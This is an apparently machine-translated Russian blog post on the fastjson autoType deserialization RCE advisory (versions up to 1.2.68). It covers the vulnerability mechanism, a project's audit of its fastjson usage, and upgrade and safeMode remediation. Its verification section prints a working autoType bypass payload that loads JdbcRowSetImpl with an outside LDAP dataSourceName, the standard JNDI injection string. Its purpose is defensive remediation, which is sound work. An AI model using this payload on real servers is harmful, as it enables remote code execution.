[toc]
Источник статьи:Блог о вращении окон
оFastJson
обновитесь до1.2.70
инструкция
author
: Vic.xu
Date
:20200601
одинОфициальное объявление 20200601 Отрывок
Бюллетень по безопасности 20200601
Недавно Центр экстренного реагирования Alibaba Cloud обнаружил вспышку новой уязвимости десериализации удаленного выполнения кода в fastjson.Хакеры могут использовать эту уязвимость для обхода ограничений автотипа и прямого удаленного выполнения произвольных команд для атаки на сервер, что чрезвычайно рискованно.
Описание уязвимости
fastjson использует черный и белый списки для защиты от уязвимостей десериализации.В результате, когда хакеры продолжают обнаруживать новые классы десериализованных гаджетов, механизм защиты черного и белого списков все еще может быть обойден при отключенном autoType, что приводит к уязвимостям удаленного выполнения команд. После исследования порог для использования этой уязвимости низок, она может обойти ограничения автотипа, и риск имеет большее влияние. Центр реагирования на чрезвычайные ситуации в облаке Alibaba напоминает пользователям fastjson о необходимости как можно скорее принять меры безопасности для предотвращения атак уязвимостей.
Воздействовать на версию
- fastjson <=1.2.68
- версия fastjson sec
План обновления
Обновите до последней версии 1.2.69 или более новой версии 1.2.70.
армирование fastjson
fastjson
Представлено в версии 1.2.68 и выше.safeMode
, настроитьsafeMode
После этого вне зависимости от белого и черного списка не поддерживаетсяautoType
, что может в определенной степени смягчить атаку варианта десериализации Gadgets (закрытьautoType
Обратите внимание на оценку влияния на бизнес)
Способ открытия SafeMode
-
Настроить в коде
ParserConfig.getGlobalInstance().setSafeMode(true)
; -
плюс
JVM
параметры запуска-Dfastjson.parser.safeMode=true
-
пройти через
fastjson.properties
конфигурация файла.fastjson.parser.safeMode=true
Два принципа уязвимости и проверка уязвимости
Несколько версий компонентов Fastjson вызывают выполнение кода при десериализации ненадежных данных. Причина в том, что, во-первых, Fastjson предоставляет функцию автотипирования, которая позволяет пользователям указывать тип десериализации через «@type» в десериализованных данных, во-вторых, пользовательский механизм десериализации Fastjson будет вызывать сеттер в указанном методе класса и некоторые методы получения, то когда компонент активирует функцию автотипа и десериализует ненадежные данные, злоумышленник может сконструировать данные таким образом, чтобы процесс выполнения кода целевого приложения вошел в конкретный метод установки или получения определенного класса. указанный метод (также обычно называемый «Гаджет»), который может вызвать серьезные проблемы с безопасностью.
В версиях Fastjson 1.2.47 и ниже функцию автотипа можно обойти с помощью механизма кэширования.Подробнее об обходе см. (Woohoo.Security Section.com/post/ID/181…
Простое отображение кода уязвимости
На основе версии 1.2.46, используемой в настоящее время ICBC.
-
проверять
autoType
Значение по умолчанию: Результат по умолчанию равен false, что соответствует описанию на официальном веб-сайте.fastjson
Он больше не включен по умолчанию в версии 1.2.2+.autoType
опции"ParserConfig config = ParserConfig.getGlobalInstance(); boolean autoTypeSupport = config.isAutoTypeSupport(); System.out.println(autoTypeSupport);//false
-
при нормальных обстоятельствах
autoType
При значении false тестовый код не обойденModel model = new Model(); model.setId(1); model.setName("vic"); //获得的结果为{"@type":"pers.vic.test.json.fastjson.Model","id":1,"name":"vic"} String json = JSON.toJSONString(model, SerializerFeature.WriteClassName); System.out.println(json); //反序列换报错:autoType is not support. pers.vic.test.json.fastjson.Model JSON.parse(json);
-
Обход аутентификации через черный список и
autotype
процесс проверки-
Подготовьте строки, которые могут обойти обнаружение
private static String str = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://a.631c122b.n0p.co\",\"autoCommit\":true}}";
-
выполнить десериализацию строки
JSONObject obj = JSON.parseObject(str);
Результат выполнениясообщить об ошибке
........set property error, autoCommit
........ JdbcRowSet (подключение) JNDI не удалось подключиться
Указывает, что была выполнена операция подключения к базе данных и что
setAutoCommit
;, что доказывает, что в обходautotype
инвалид;Принцип обхода, см. https://www.anquanke.com/post/id/181874; примерно означает:
- Загрузите конфигурацию перед десериализацией, автотип в этом проекте является конфигурацией по умолчанию: false
- Кэшируйте некоторые часто используемые методы библиотеки классов для сопоставлений объектов ConcurrentMap.
- Когда мы не передаем соответствующее имя класса ожидаемого десериализованного объекта при вызове функции синтаксического анализа для десериализации, мы можем получить соответствующий класс десериализованного объекта из отображений или метода deserializers.findClass().
- После нахождения соответствующего класса он вернется без прохождения черного списка и процесса проверки автотипа. И класс java.lang.class существует в свойстве Buckets объекта десериализаторов:
- (2 3 4 в сочетании с обходом черного списка и проверкой автотипа, последующее описание опущено)
-
Трое в этом проектеjson
Инструкции по применению
3.1 Сериализация и десериализация json в проекте в основном используются дляJackson
- Фреймворк темы, используемый в этом проекте, — SpringMVC, а преобразование json в конвертер сообщений использует
MappingJackson2HttpMessageConverter
(т.е.Jackson
) - Его роль заключается в следующих двух пунктах (сериализация/десериализация):
- пройти через
@ResponseBody
Когда аннотация возвращает содержимое тела ответа, объект преобразуется в строку json (сериализация), это широко используется в этом проекте, и большинство ajax-запросов сериализуются этим json; 2. Пройти@RequestBody
Аннотация, получение json-строки фронтенда и сериализация json-строки в программный объект, частота использования в данном проекте крайне низкая (по поиску нашел только одну)
- пройти через
3.2 О программеfastjson
Использовать в этом проекте
Ищите только десериализацию, так как сериализация не имеет проблем с безопасностью
-
JSON.parse
В этом проекте было найдено 19 результатов
- Большинство из них представляют собой строки, хранящиеся в самом бэкэнде сериализации (без риска для безопасности).
-
JSONObject.parse
Результатов поиска в этом проекте 2
- Эти два места напрямую десериализуются и заменяются строкой json, переданной во внешнем интерфейсе, что рискованно.
3.3 О введении этого проектаfastjson
причина
Моя догадка:
-
Поскольку фреймворк orm в этом проекте использует спящий режим, имеет место случай ленивой загрузки (то есть часто запрашиваются прокси-объекты)
-
Общность сущностей и моделей базы данных, что приводит к множеству дополнений к сущностям.
jackson
Аннотации, связанные с сериализацией (например, игнорирование сериализации свойств);Например:
- Запросите объект сущности и верните его во внешний интерфейс через сериализацию.Из-за каскадного запроса спящего режима добавлено множество аннотаций, которые игнорируют сериализацию, для достижения цели устранения ненужных запросов.
- Если серверная часть получает строку json внешнего интерфейса через тот же объект сущности, атрибуты будут потеряны из-за наличия игнорирования аннотаций сериализации.
-
использовать
fastjson
избегатьjackson
Связанные аннотации сериализации для достижения цели повторного использования моделей
Четыре на этот разfastjson
Инструкции по обновлению
В этом проекте нет необходимости использовать десериализацию @type, и ее можно полностью отключить;
-
Версия обновлена до рекомендуемой версии на официальном сайте
1.2.70
Версия;После обновления используйте приведенную выше строку для проверки обхода.
autoType
Он выдаст ошибку, когда:autoType is not support. com.sun.rowset.JdbcRowSetImpl
-
через конфигурационный файл
fastjson.properties
настроитьfastjson.parser.safeMode=true
полностью отключенautoType
;Смотрите описание на официальном сайте:
在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。
Источник статьи:Блог о вращении окон